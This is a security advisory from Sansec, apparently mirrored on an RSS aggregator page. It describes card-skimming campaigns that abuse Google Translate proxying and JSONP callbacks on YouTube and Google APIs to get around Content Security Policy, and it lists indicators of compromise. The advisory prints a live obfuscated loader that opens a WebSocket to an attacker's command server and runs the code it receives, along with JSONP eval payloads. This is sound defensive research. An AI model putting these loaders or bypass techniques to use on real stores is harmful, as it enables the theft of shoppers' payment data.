惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

量子位
I
InfoQ
人人都是产品经理
人人都是产品经理
博客园 - 三生石上(FineUI控件)
爱范儿
爱范儿
Hugging Face - Blog
Hugging Face - Blog
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
S
SegmentFault 最新的问题
美团技术团队
小众软件
小众软件
Blog — PlanetScale
Blog — PlanetScale
Jina AI
Jina AI
aimingoo的专栏
aimingoo的专栏
H
Help Net Security
Last Week in AI
Last Week in AI
博客园_首页
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
L
LangChain Blog
云风的 BLOG
云风的 BLOG
Martin Fowler
Martin Fowler
宝玉的分享
宝玉的分享
G
Google Developers Blog
博客园 - 叶小钗
博客园 - Franky

Sansec - experts in eCommerce security

GorgonAgora: 4,800+ fake storefronts skim cards across hundreds of impersonated brands Sansec adds support for Sylius 1 & 2 Critical vulnerability in Mirasvit Cache Warmer for Magento Critical FunnelKit vulnerability threatens 40,000+ WooCommerce checkouts Composer vulnerability leaks GitHub tokens, threatens PHP supply chain Over 200 PrestaShop stores expose installer, allowing full takeover ClickFix malware hits DoD cybersecurity vendor homepage SVG Onload Tag Hides Magecart Skimmer on 99 Stores Mass PolyShell attack wave hits 471 stores in one hour Novel WebRTC skimmer bypasses security controls at $100+ billion car maker PolyShell: unrestricted file upload in Magento and Adobe Commerce Digital skimmer hits global supermarket chain Building a faster YARA engine in pure Go Magento Developers Impersonated in Targeted GitHub Malware Operation Claude finds 353 zero-days on Packagist The billion-dollar security.txt problem Keylogger targets 200,000+ employees at major US bank ConnectPOS leaked Github secrets for years Critical backdoor found in MGT Varnish extension SessionReaper attacks have started, 3 in 5 stores still vulnerable SessionReaper, unauthenticated RCE in Magento & Adobe Commerce (CVE-2025-54236) Adobe patches critical Magento admin takeover via menu injection Backdoor found in popular ecommerce components Found defunct.dat on your site? You've got a problem. You have 2 weeks left to set up CSP for your store Merchants left guessing at last-minute PCI-DSS u-turn Magento Security Release APSB25-08 [Impact Analysis] Sorry, client-side security does not work Thousands of Adobe Commerce stores hacked in competing CosmicSting campaigns CosmicSting attack & defense overview
Google services abused in skimming campaigns
Sansec Forensics Team · 2024-12-31 · via Sansec - experts in eCommerce security

Google Translate

Attackers are using Google Translate’s page functionality to execute malicious JavaScript files, as demonstrated below:

<script src="https://translate.google.co.in/translate?hl=gu&sl=en&u=https://udalzira.com/.well-known/cloud.js"></script>

Here, the target language (tl) is set to Gujarati (gu), while the source language (sl) is English (en). Since Gujarati uses a distinct script, Latin characters remain unaltered, allowing Google Translate to act as a convenient proxy for delivering malicious content.

The script hosted on https://udalzira.com/.well-known/cloud.js connects to a command-and-control (C2) WebSocket endpoint: wss://cloudflare-stat.net/common?source=:

const qxth = [93,89,89,16,5,5,73,70,69,95,78,76,70,75,88,79,7,89,94,75,94,4,68,79,94,5,73,69,71,71,69,68,21,89,69,95,88,73,79,23];const mld = 42;window.ww = new WebSocket(String.fromCharCode(...qxth.map(jbqr => jbqr ^ mld)) + encodeURIComponent(location.href));window.ww.addEventListener('message', event => {new Function(event.data)()});

This technique is attributed to the Surki Group, a threat actor responsible for infecting thousands of systems in recent months.

JSONP Callbacks

Several Google Services allow the use of the JSONP format with a callback parameter. Even when the callback name is invalid, it is still embedded in the response. For example, the URL https://www.youtube.com/oembed?format=json&callback=alert(%27sansec%27); returns:

// API callback
alert('sansec');({
  "error": {
    "code": 400,
    "message": "Invalid JSONP callback name: 'alert('sansec');'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.",
    "status": "INVALID_ARGUMENT"
  }
}
);

Despite the error, this response remains valid JavaScript since the error message is encapsulated within brackets and follows JavaScript syntax.

The use of JSONP techniques to bypass CSP is demonstrated by tools like JSONBee, which explore this method.

Recent skimming campaigns have increasingly incorporated this method to evade security measures.

YouTube

A notable example of JSONP exploitation involved YouTube's oEmbed feature during the breach of the Green Bay Packers Pro Shop in October.

Green Bay Packers Pro Shop

In this attack, a script was injected from https://js-stats.com/getInjector. This script harvested data from input, select, and textarea fields on the site, exfiltrating the captured information to https://js-stats.com/fetchData.

Google APIs

Another skimming campaign abused JSONP callbacks through the Google Discovery API: https://translate.googleapis.com/$discovery/rest?version=v3&callback=eval(...).

This attack targeted at least a dozen online stores. The malicious script loaded a fake Stripe payment form hosted at: https://montina.it/mx/stripe/.

Analysis of the fake form’s source code reveals keywords commonly linked to Group Polyovki, a well-known Magecart threat actor.

Polyovki Stripe skimmer

Several weeks later, the attackers started abusing the Google Accounts OAuth2 API using this endpoint: https://accounts.google.com/o/oauth2/revoke?callback=eval(...). The fake payment location was switched to https://premium.vn/bb/stripe. This subsequent campaign affected nearly 100 online stores, as confirmed by Sansec.

Indicators of Compromise

udalzira.com/.well-known/cloud.js
montina.it/mx/stripe
premium.vn/bb/stripe
cloudflare-stat.net
js-stats.com
94.131.105.71

Read more